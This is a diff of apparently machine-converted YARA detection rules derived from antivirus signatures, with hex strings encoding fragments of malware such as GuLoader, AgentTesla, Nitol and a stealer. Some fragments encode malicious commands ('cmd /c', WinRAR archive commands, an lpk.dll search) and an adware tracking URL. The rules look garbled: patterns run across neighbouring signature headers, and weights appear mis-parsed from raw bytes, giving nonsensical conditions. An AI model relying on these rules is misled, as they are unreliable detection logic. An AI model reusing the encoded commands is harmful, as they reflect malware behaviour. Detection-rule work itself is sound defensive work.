"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -199394,7 +212732,7 @@ rule _InfrastructureShared_16846{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29295+(#a_65_2 & 1)*13874+(#a_3a_3 & 1)*24938+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1+(#a_80_9 & 1)*1+(#a_02_10 & 1)*10) >=11 } -rule _InfrastructureShared_16847{ +rule _InfrastructureShared_17954{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 12 00 0b 00 21 " @@ -199412,7 +212750,7 @@ rule _InfrastructureShared_16847{ ((#a_46_0 & 1)*16675+(#a_0d_1 & 1)*9482+(#a_4d_2 & 1)*-14029+(#a_65_3 & 1)*29810+(#a_4c_4 & 1)*28261+(#a_41_7 & 1)*8448+(#a_b8_8 & 1)*27648+(#a_00_9 & 1)*392+(#a_45_10 & 1)*283) >=18 } -rule _InfrastructureShared_16848{ +rule _InfrastructureShared_17955{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1a 00 1a 00 0d 00 21 " @@ -199434,7 +212772,7 @@ rule _InfrastructureShared_16848{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*5+(#a_81_2 & 1)*10+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1+(#a_81_11 & 1)*1+(#a_18_12 & 1)*0) >=26 } -rule _InfrastructureShared_16849{ +rule _InfrastructureShared_17956{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 01 00 02 00 21 " @@ -199445,7 +212783,7 @@ rule _InfrastructureShared_16849{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28595) >=1 } -rule _InfrastructureShared_16850{ +rule _InfrastructureShared_17957{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -199456,7 +212794,7 @@ rule _InfrastructureShared_16850{ ((#a_46_0 & 1)*16675+(#a_c7_1 & 1)*400) >=2 } -rule _InfrastructureShared_16851{ +rule _InfrastructureShared_17958{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -199467,7 +212805,7 @@ rule _InfrastructureShared_16851{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28545) >=2 } -rule _InfrastructureShared_16852{ +rule _InfrastructureShared_17959{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " @@ -199481,7 +212819,7 @@ rule _InfrastructureShared_16852{ ((#a_77_0 & 1)*16675+(#a_57_1 & 1)*400+(#a_00_2 & 1)*22276+(#a_04_3 & 1)*257+(#a_2c_4 & 1)*2) >=2 } -rule _InfrastructureShared_16853{ +rule _InfrastructureShared_17960{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -199493,7 +212831,7 @@ rule _InfrastructureShared_16853{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*105+(#a_2d_2 & 1)*2305) >=3 } -rule _InfrastructureShared_16854{ +rule _InfrastructureShared_17961{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -199508,7 +212846,7 @@ rule _InfrastructureShared_16854{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*19571+(#a_6d_2 & 1)*28486+(#a_42_3 & 1)*12851+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1) >=3 } -rule _InfrastructureShared_16855{ +rule _InfrastructureShared_17962{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -199523,7 +212861,7 @@ rule _InfrastructureShared_16855{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*25396+(#a_63_2 & 1)*27749+(#a_61_3 & 1)*29541+(#a_06_4 & 1)*1555+(#a_74_5 & 1)*25962) >=3 } -rule _InfrastructureShared_16856{ +rule _InfrastructureShared_17963{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -199536,7 +212874,7 @@ rule _InfrastructureShared_16856{ ((#a_54_0 & 1)*18467+(#a_16_1 & 1)*2312+(#a_58_2 & 1)*2460+(#a_61_3 & 1)*26950) >=4 } -rule _InfrastructureShared_16857{ +rule _InfrastructureShared_17964{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -199549,7 +212887,7 @@ rule _InfrastructureShared_16857{ ((#a_54_0 & 1)*18467+(#a_09_1 & 1)*35+(#a_02_2 & 1)*8202+(#a_00_3 & 1)*400) >=4 } -rule _InfrastructureShared_16858{ +rule _InfrastructureShared_17965{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -199562,7 +212900,7 @@ rule _InfrastructureShared_16858{ ((#a_54_0 & 1)*18467+(#a_2f_1 & 1)*12079+(#a_65_2 & 1)*29810+(#a_23_3 & 1)*8995) >=4 } -rule _InfrastructureShared_16859{ +rule _InfrastructureShared_17966{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -199576,7 +212914,7 @@ rule _InfrastructureShared_16859{ ((#a_54_0 & 1)*18467+(#a_2b_1 & 1)*4886+(#a_5d_2 & 1)*4360+(#a_5d_3 & 1)*4440+(#a_11_4 & 1)*5009) >=5 } -rule _InfrastructureShared_16860{ +rule _InfrastructureShared_17967{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -199591,7 +212929,7 @@ rule _InfrastructureShared_16860{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*9567+(#a_73_2 & 1)*25701+(#a_73_3 & 1)*12837+(#a_74_4 & 1)*28520+(#a_00_6 & 1)*84) >=5 } -rule _InfrastructureShared_16861{ +rule _InfrastructureShared_17968{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " @@ -199608,7 +212946,7 @@ rule _InfrastructureShared_16861{ ((#a_4c_0 & 1)*21539+(#a_6e_1 & 1)*28515+(#a_6e_2 & 1)*19744+(#a_33_3 & 1)*26967+(#a_67_4 & 1)*26736+(#a_61_5 & 1)*29541+(#a_78_6 & 1)*27649+(#a_70_7 & 1)*27936) >=5 } -rule _InfrastructureShared_16862{ +rule _InfrastructureShared_17969{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -199623,7 +212961,7 @@ rule _InfrastructureShared_16862{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*29561+(#a_72_2 & 1)*28783+(#a_2f_3 & 1)*13166+(#a_01_4 & 1)*9504+(#a_01_5 & 1)*1) >=6 } -rule _InfrastructureShared_16863{ +rule _InfrastructureShared_17970{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 08 00 21 " @@ -199640,7 +212978,7 @@ rule _InfrastructureShared_16863{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_18_7 & 1)*0) >=6 } -rule _InfrastructureShared_16864{ +rule _InfrastructureShared_17971{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -199655,7 +212993,7 @@ rule _InfrastructureShared_16864{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*30789+(#a_53_2 & 1)*385+(#a_73_4 & 1)*25345+(#a_42_5 & 1)*19745+(#a_79_6 & 1)*11824) >=7 } -rule _InfrastructureShared_16865{ +rule _InfrastructureShared_17972{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -199670,7 +213008,7 @@ rule _InfrastructureShared_16865{ ((#a_54_0 & 1)*18467+(#a_32_1 & 1)*12915+(#a_72_2 & 1)*23667+(#a_6d_3 & 1)*24833+(#a_6d_4 & 1)*30789+(#a_00_6 & 1)*114) >=7 } -rule _InfrastructureShared_16866{ +rule _InfrastructureShared_17973{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -199685,7 +213023,7 @@ rule _InfrastructureShared_16866{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*29806+(#a_78_2 & 1)*279+(#a_00_5 & 1)*32+(#a_28_6 & 1)*512+(#a_00_7 & 1)*10246) >=8 } -rule _InfrastructureShared_16867{ +rule _InfrastructureShared_17974{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -199694,14 +213032,30 @@ rule _InfrastructureShared_16867{ $a_74_1 = {00 00 01 6f 0b 00 00 0a } //2560 $a_02_3 = {02 00 00 70 28 0d 00 00 0a 28 04 00 00 2b 6f 0f 00 00 0a 26 38 11 00 00 00 06 07 19 5a 58 0a 38 06 00 00 00 06 07 1a 5a 58 0a 07 17 58 0b 07 18 32 8d 90 00 01 00 07 81 01 45 78 65 63 75 74 65 01 00 10 81 01 43 61 6c 6c 52 61 6e 64 6f 6d 4d 65 74 68 6f 64 01 00 06 81 01 46 6a 66 65 72 66 01 00 07 81 01 4b 68 6a 6f 69 65 67 01 00 0c 81 01 44 6f 77 6e 6c 6f 61 64 44 61 74 61 01 00 0e 81 01 43 72 65 61 74 65 44 65 6c 65 67 61 74 65 } //29227 $a_81_4 = {44 79 6e 61 6d 69 63 49 6e 76 6f 6b 65 } //1 DynamicInvoke - $a_18_5 = {00 09 00 09 00 09 00 21 23 48 53 54 52 3a 56 69 74 61 6c 6c 69 61 5f 4d 53 49 4c 2e 41 31 00 04 00 20 01 c1 4c f8 b5 90 e9 f6 20 bf e4 1b 54 09 0a a2 d5 7b 2d cd c4 83 7f 5c 49 1a e5 64 d2 6e ee a0 46 04 00 20 01 fd 3b f2 95 26 34 e7 62 b6 f8 3c 81 8e eb 42 52 8d 25 05 eb 1b 0d 20 e0 07 21 fd f0 ca e5 fa f3 04 00 20 01 6e 43 82 25 82 70 71 d4 f0 35 a8 e8 ef } //0 - $a_68_6 = {31 b4 4d 28 d4 ff e6 1b 1a 01 27 c9 87 50 04 00 20 01 37 47 54 68 9a 17 e1 5b d9 51 c0 0b 2e 37 51 f3 eb ac 97 a9 2c 1e 37 aa 93 e7 69 f1 ae 90 5d 83 01 00 1c 01 56 69 72 74 75 61 6c 69 7a 65 72 4e 65 74 53 75 62 4d 61 69 6e 53 65 72 76 69 63 65 01 00 0a 01 54 65 73 74 46 72 6f 6d 52 43 01 } //302 - $a_52_7 = {6e } //4608 n + $a_18_5 = {00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 50 21 4d 54 42 00 01 00 27 81 01 5c 49 6e 74 72 61 64 75 72 61 6c 5c 52 61 66 66 69 6e 61 64 65 72 69 65 72 33 39 5c 64 65 63 75 72 76 61 74 75 72 65 01 00 28 81 01 5c 61 70 72 6a 74 65 6c 61 6b 65 72 69 6e 67 73 76 72 6b 73 74 65 64 5c 52 64 64 } //0 + $a_67_6 = {74 32 33 38 2e 69 6e 69 01 00 0e 81 01 63 72 79 6f 63 68 6f 72 69 63 2e 74 78 74 01 00 1c 81 01 65 66 74 65 72 75 64 64 61 6e 6e 65 6c 73 65 73 6b 75 72 73 75 73 65 74 2e 74 78 74 01 00 0f 81 01 66 69 72 6b 61 6e 74 6d 72 6b 65 2e 69 6e 69 01 00 1b 81 01 69 6d 70 6c 65 6d 65 6e 74 61 74 69 6f 6e 73 73 70 72 6f 67 } //27749 + $a_2e_7 = {68 69 01 00 0c 81 01 76 69 6e 67 75 6d 6d 69 2e 70 6f 6c 01 00 14 81 01 70 72 65 70 6f 73 73 65 73 73 69 6f 6e 61 72 79 2e 74 78 74 00 00 78 18 01 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 56 69 74 61 6c 6c 69 61 5f 4d 53 49 4c 2e 41 31 00 04 00 20 01 c1 4c f8 b5 90 e9 f6 20 bf e4 1b 54 09 0a a2 d5 7b } //28261 condition: - ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*2560+(#a_02_3 & 1)*29227+(#a_81_4 & 1)*1+(#a_18_5 & 1)*0+(#a_68_6 & 1)*302+(#a_52_7 & 1)*4608) >=8 + ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*2560+(#a_02_3 & 1)*29227+(#a_81_4 & 1)*1+(#a_18_5 & 1)*0+(#a_67_6 & 1)*27749+(#a_2e_7 & 1)*28261) >=8 } -rule _InfrastructureShared_16868{ +rule _InfrastructureShared_17975{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 54 50 21 4d 54 42 00 01 00 27 81 01 5c 49 6e 74 72 61 64 75 72 61 6c 5c 52 61 66 66 69 6e 61 64 65 72 69 65 72 33 39 5c 64 65 63 75 72 76 61 74 75 72 65 01 00 28 81 01 5c 61 70 } //18467 + $a_65_1 = {61 6b 65 72 69 6e 67 73 76 72 6b 73 74 65 64 5c 52 64 64 65 6c 69 67 73 74 32 33 38 2e 69 6e 69 01 00 0e 81 01 63 72 79 6f 63 68 6f 72 69 63 2e 74 78 74 01 00 1c 81 01 65 66 74 65 72 75 64 64 61 6e 6e 65 6c 73 65 73 6b 75 72 73 75 73 65 74 2e 74 78 74 01 00 0f 81 01 66 69 72 6b 61 6e 74 6d 72 6b 65 2e 69 6e 69 01 00 1b 81 01 69 6d 70 6c 65 6d 65 } //27250 + $a_74_2 = {6f 6e 73 73 70 72 6f 67 65 6e 65 2e 77 68 69 01 00 0c 81 01 76 69 6e 67 75 6d 6d 69 2e 70 6f 6c 01 00 14 81 01 70 72 65 70 6f 73 73 65 73 73 69 6f 6e 61 72 79 2e 74 78 74 00 00 78 18 01 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 56 69 74 61 6c 6c 69 61 5f 4d 53 49 4c 2e 41 31 00 04 00 20 01 } //29806 + $a_b5_3 = {e9 f6 20 bf e4 1b 54 09 0a a2 d5 7b 2d cd c4 83 7f 5c 49 1a e5 64 d2 6e ee a0 46 04 00 20 01 fd 3b f2 95 26 34 e7 62 b6 f8 3c 81 8e eb 42 52 8d 25 05 eb 1b 0d 20 e0 07 21 fd f0 ca e5 fa f3 04 00 20 01 6e 43 82 25 82 70 71 d4 f0 35 a8 e8 ef 2e 01 61 68 d4 31 b4 4d 28 d4 ff e6 1b 1a 01 27 c9 87 50 04 00 20 01 37 47 54 68 9a 17 e1 5b d9 51 c0 0b 2e 37 51 f3 eb ac 97 a9 2c 1e 37 aa 93 e7 69 f1 ae 90 5d 83 01 00 1c 01 56 69 72 74 75 61 6c 69 7a 65 72 4e 65 74 53 75 62 4d 61 69 6e 53 65 72 76 69 63 65 01 00 0a 01 54 65 73 74 46 72 6f 6d 52 43 01 00 12 01 52 75 6e 52 43 49 6e 53 65 72 76 69 63 65 4d 6f 64 65 01 00 0f 01 53 74 6f 70 53 65 72 76 69 63 65 4d 6f 64 65 01 00 0d 01 43 61 6c 6c 4a 75 6e 6b 43 6f 64 65 5f 00 00 78 18 01 00 09 00 09 } //19649 + $a_3a_5 = {6c 6f 63 6b 3a 4d 75 6c 74 69 70 6c 75 67 00 06 00 1b 80 01 41 64 64 43 72 6f 73 73 52 69 64 65 72 53 65 61 72 63 68 50 72 6f 76 69 64 65 72 06 00 1e 00 5f 43 72 6f 73 73 72 69 64 65 72 52 65 67 } //21840 + $a_65_6 = {6c 61 63 65 48 6f 6c 64 65 72 5f 06 00 1b 00 68 74 74 70 3a 2f 2f 73 74 61 74 73 2e 63 72 6f 73 73 72 69 64 65 72 2e 63 6f 6d 02 00 13 80 01 48 61 6e 64 6c 65 43 6c 6f 73 65 42 72 6f 77 73 65 72 73 02 00 14 80 01 48 61 6e 64 6c 65 53 65 74 4e 65 77 42 6c 61 6e 6b 54 61 62 02 00 16 80 01 48 61 6e 64 6c 65 53 65 74 55 72 6c 53 } //24910 + $a_63_7 = {48 6f 6f 6b 02 00 16 80 01 48 61 6e 64 6c 65 53 68 6f 77 54 68 61 6e 6b 59 6f 75 50 61 67 65 9c ff 0c 80 01 57 6e 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 18 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 } //24933 + condition: + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*27250+(#a_74_2 & 1)*29806+(#a_b5_3 & 1)*19649+(#a_3a_5 & 1)*21840+(#a_65_6 & 1)*24910+(#a_63_7 & 1)*24933) >=8 + +} +rule _InfrastructureShared_17976{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -199719,7 +213073,7 @@ rule _InfrastructureShared_16868{ ((#a_54_0 & 1)*18467+(#a_ca_1 & 1)*-735+(#a_72_2 & 1)*25705+(#a_77_3 & 1)*20084+(#a_61_4 & 1)*29550+(#a_79_5 & 1)*29801+(#a_66_6 & 1)*29268+(#a_24_7 & 1)*-32731+(#a_34_8 & 1)*13409) >=9 } -rule _InfrastructureShared_16869{ +rule _InfrastructureShared_17977{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 0a 00 21 " @@ -199737,7 +213091,7 @@ rule _InfrastructureShared_16869{ ((#a_41_0 & 1)*20515+(#a_74_1 & 1)*26624+(#a_59_2 & 1)*28257+(#a_00_3 & 1)*66+(#a_34_4 & 1)*385+(#a_6e_6 & 1)*385+(#a_74_7 & 1)*27765+(#a_2f_8 & 1)*18771+(#a_65_9 & 1)*384) >=9 } -rule _InfrastructureShared_16870{ +rule _InfrastructureShared_17978{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -199756,7 +213110,7 @@ rule _InfrastructureShared_16870{ ((#a_54_0 & 1)*18467+(#a_31_1 & 1)*31090+(#a_63_2 & 1)*26214+(#a_2f_3 & 1)*18771+(#a_65_4 & 1)*384+(#a_63_5 & 1)*24948+(#a_54_6 & 1)*17996+(#a_33_7 & 1)*12659+(#a_69_8 & 1)*23553+(#a_73_9 & 1)*25955) >=10 } -rule _InfrastructureShared_16871{ +rule _InfrastructureShared_17979{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -199773,7 +213127,7 @@ rule _InfrastructureShared_16871{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*31060+(#a_70_2 & 1)*29264+(#a_79_4 & 1)*28239+(#a_6e_5 & 1)*20992+(#a_00_6 & 1)*11+(#a_6e_7 & 1)*27247+(#a_85_8 & 1)*6288) >=10 } -rule _InfrastructureShared_16872{ +rule _InfrastructureShared_17980{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0b 00 21 " @@ -199793,7 +213147,7 @@ rule _InfrastructureShared_16872{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*12064+(#a_00_2 & 1)*108+(#a_50_3 & 1)*16640+(#a_00_4 & 1)*10+(#a_3a_5 & 1)*19521+(#a_01_6 & 1)*-31289+(#a_c7_7 & 1)*-28672+(#a_90_8 & 1)*-29440+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1) >=10 } -rule _InfrastructureShared_16873{ +rule _InfrastructureShared_17981{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0a 00 02 00 21 " @@ -199804,7 +213158,7 @@ rule _InfrastructureShared_16873{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*31337) >=10 } -rule _InfrastructureShared_16874{ +rule _InfrastructureShared_17982{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -199818,17 +213172,17 @@ rule _InfrastructureShared_16874{ $a_18_6 = {00 1b 00 1b 00 09 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 52 21 4d 54 42 00 0a 00 24 01 43 6f 6c 6f 72 54 72 61 6e 73 6c 61 74 6f 72 00 54 6f 57 69 6e 33 32 00 43 72 65 61 74 65 44 6f 6d 61 69 6e 0a 00 43 01 00 49 53 65 63 74 69 6f 6e 45 6e 74 72 79 00 63 31 00 62 31 00 6b 31 00 67 00 6e 00 52 65 61 64 4f 6e 6c 79 44 69 } //0 $a_6f_7 = {61 72 79 00 42 75 69 6c 64 65 72 49 6e 73 74 61 6e 74 69 61 74 69 6f 6e 01 00 15 01 67 65 74 5f 43 6f 6d 6d 6f 6e 41 70 70 44 61 74 61 50 61 74 68 01 00 13 01 73 65 74 5f 55 73 65 53 68 65 6c 6c 45 78 65 63 75 74 65 01 00 0e 01 50 72 65 70 61 72 65 50 4e 47 6c 69 73 74 01 00 0d 01 43 6f 6d 70 61 72 65 53 74 72 69 } //29795 $a_00_8 = {0f } //26478 - $a_74_9 = {53 74 61 72 74 75 70 50 61 74 68 01 00 0a 01 44 65 6c 65 74 65 46 69 6c 65 01 00 0a 01 52 65 6e 61 6d 65 46 69 6c 65 00 00 78 18 01 00 37 00 23 00 0a 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 69 74 6f 6c 2e 53 49 42 21 4d 54 42 00 0a 00 07 80 01 72 61 72 2e 65 78 65 0a 00 19 80 01 } //26369 - $a_52_10 = {52 5c 73 68 65 6c 6c 5c 6f 70 65 6e 5c 63 6f 6d 6d 61 6e 64 0a 00 24 80 01 22 25 73 22 20 61 20 2d 72 20 2d 65 70 31 22 25 73 22 20 22 25 73 22 20 22 25 73 5c 6c 70 6b 2e 64 6c 6c 22 0a 00 17 80 01 22 25 73 22 20 78 20 22 25 73 22 20 2a 2e 65 78 65 20 22 25 73 5c 22 0a 00 2b 80 01 63 6d 64 20 2f 63 20 25 73 20 76 62 20 22 25 73 } //26967 - $a_70_11 = {2e 64 6c 6c 7c 66 69 6e 64 20 2f 69 20 22 6c 70 6b 2e 64 6c 6c 22 01 00 07 80 01 2e 68 74 6d 47 45 54 01 00 07 80 01 2e 61 73 70 47 45 54 01 00 16 80 01 55 73 65 72 2d 41 67 65 6e 74 3a 62 61 69 64 75 73 70 69 64 65 72 01 00 09 80 01 47 6f 6f 67 6c 65 62 6f 74 01 00 0a 80 01 59 65 73 37 37 37 2e 43 6f 4d 00 00 78 19 01 00 } //8226 - $a_00_12 = {01 } //1 - $a_64_13 = {5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 36 34 62 69 74 5f 72 65 73 63 61 6e 00 01 00 ec 03 07 2a } //8448 - $a_69_14 = {67 00 07 72 75 6e 74 69 6d 65 00 07 2a 75 69 6e 74 31 36 00 07 2a 75 69 6e 74 33 32 00 07 2a 75 69 6e 74 36 34 00 07 2a 5b 5d 75 69 6e 74 00 07 70 74 72 53 69 7a 65 90 01 01 07 66 75 6e 63 6f 66 66 00 07 66 69 6c 65 74 61 62 00 07 63 6f 76 63 74 72 73 00 07 68 61 73 6d 61 69 6e 00 07 74 79 70 65 6d 61 70 00 07 74 65 78 74 4f 66 66 00 07 6e } //29811 + $a_74_9 = {53 74 61 72 74 75 70 50 61 74 68 01 00 0a 01 44 65 6c 65 74 65 46 69 6c 65 01 00 0a 01 52 65 6e 61 6d 65 46 69 6c 65 00 00 78 18 01 00 23 00 23 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 65 61 6c 65 72 2e 4c 4d 43 21 4d 54 42 00 14 00 54 01 0f b6 02 83 ee 04 33 c1 c1 e9 08 } //26369 + $a_33_10 = {85 20 40 63 00 0f b6 42 01 33 c1 c1 e9 08 0f b6 c0 33 0c 85 20 40 63 00 0f b6 42 02 33 c1 c1 e9 08 0f b6 c0 33 0c 85 20 40 63 00 0f b6 42 03 83 c2 04 33 c1 c1 e9 08 0f b6 c0 33 0c 85 20 40 63 00 83 ef 01 0a 00 18 01 0f b6 02 8d 52 01 33 c1 c1 e9 08 0f b6 c0 33 0c 85 20 40 63 00 83 ee 01 05 00 75 03 6a 0f 0f 57 c0 c7 85 5c f3 ff ff 00 00 00 00 68 90 01 04 0f 11 85 4c f3 ff ff c7 85 60 f3 ff ff 00 00 00 00 e8 90 01 04 c6 45 fc 32 8d 8d 64 f3 ff ff 6a 0f 0f 57 c0 c7 85 74 f3 ff ff 00 00 00 00 68 90 01 04 0f 11 85 64 f3 ff ff c7 85 78 f3 ff ff 00 00 00 00 e8 90 01 04 c6 45 } //-18929 + $a_8d_11 = {f3 ff ff 6a 0f 0f 57 c0 c7 85 8c f3 ff ff 00 00 00 00 90 00 00 00 78 18 01 00 37 00 23 00 0a 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 69 74 6f 6c 2e 53 49 42 21 4d 54 42 00 0a 00 07 80 01 72 61 72 2e 65 78 65 0a 00 19 80 01 57 69 6e 52 41 52 5c 73 68 65 6c 6c 5c 6f 70 65 6e 5c 63 6f 6d 6d 61 6e 64 0a 00 24 80 01 22 25 73 22 20 61 20 2d 72 20 2d 65 70 31 22 25 73 22 20 22 25 73 22 20 22 25 73 5c 6c } //13308 + $a_64_12 = {6c 22 0a 00 17 80 01 22 25 73 22 20 78 20 22 25 73 22 20 2a 2e 65 78 65 20 22 25 73 5c 22 0a 00 2b 80 01 63 6d 64 20 2f 63 20 25 73 20 76 } //27504 + $a_25_13 = {22 20 6c 70 6b 2e 64 6c 6c 7c 66 69 6e 64 20 2f 69 20 22 6c 70 6b 2e 64 6c 6c 22 01 00 07 80 01 2e 68 } //8290 + $a_45_14 = {01 00 07 80 01 2e 61 73 70 47 45 54 01 00 16 80 01 55 73 65 72 2d 41 67 65 6e 74 3a 62 61 69 64 75 73 70 69 64 65 72 01 00 09 80 01 47 6f 6f 67 6c 65 62 6f 74 01 00 0a 80 01 59 65 73 37 37 37 2e 43 6f 4d 00 00 78 } //28020 condition: - ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*17409+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_18_6 & 1)*0+(#a_6f_7 & 1)*29795+(#a_00_8 & 1)*26478+(#a_74_9 & 1)*26369+(#a_52_10 & 1)*26967+(#a_70_11 & 1)*8226+(#a_00_12 & 1)*1+(#a_64_13 & 1)*8448+(#a_69_14 & 1)*29811) >=15 + ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*17409+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_18_6 & 1)*0+(#a_6f_7 & 1)*29795+(#a_00_8 & 1)*26478+(#a_74_9 & 1)*26369+(#a_33_10 & 1)*-18929+(#a_8d_11 & 1)*13308+(#a_64_12 & 1)*27504+(#a_25_13 & 1)*8290+(#a_45_14 & 1)*28020) >=15 } -rule _InfrastructureShared_16875{ +rule _InfrastructureShared_17983{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1b 00 1b 00 09 00 21 " @@ -199846,7 +213200,19 @@ rule _InfrastructureShared_16875{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*25344+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1) >=27 } -rule _InfrastructureShared_16876{ +rule _InfrastructureShared_17984{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,23 00 23 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 65 61 6c 65 72 2e 4c 4d 43 21 4d 54 42 00 14 00 54 01 0f b6 02 83 ee 04 33 c1 c1 e9 08 0f b6 c0 33 0c 85 20 40 63 00 0f b6 42 01 33 c1 c1 e9 08 0f b6 c0 33 0c 85 } //21539 + $a_00_1 = {0f b6 42 02 33 c1 c1 e9 08 0f b6 c0 33 0c 85 20 40 63 00 0f b6 42 03 83 c2 04 33 c1 c1 e9 08 0f b6 c0 33 0c 85 20 40 63 00 83 ef 01 0a 00 18 01 0f b6 02 8d 52 01 33 c1 c1 e9 08 0f b6 c0 33 0c 85 20 40 63 00 83 ee 01 05 00 75 03 6a 0f 0f 57 c0 c7 85 5c f3 ff ff 00 00 00 00 68 90 01 04 0f 11 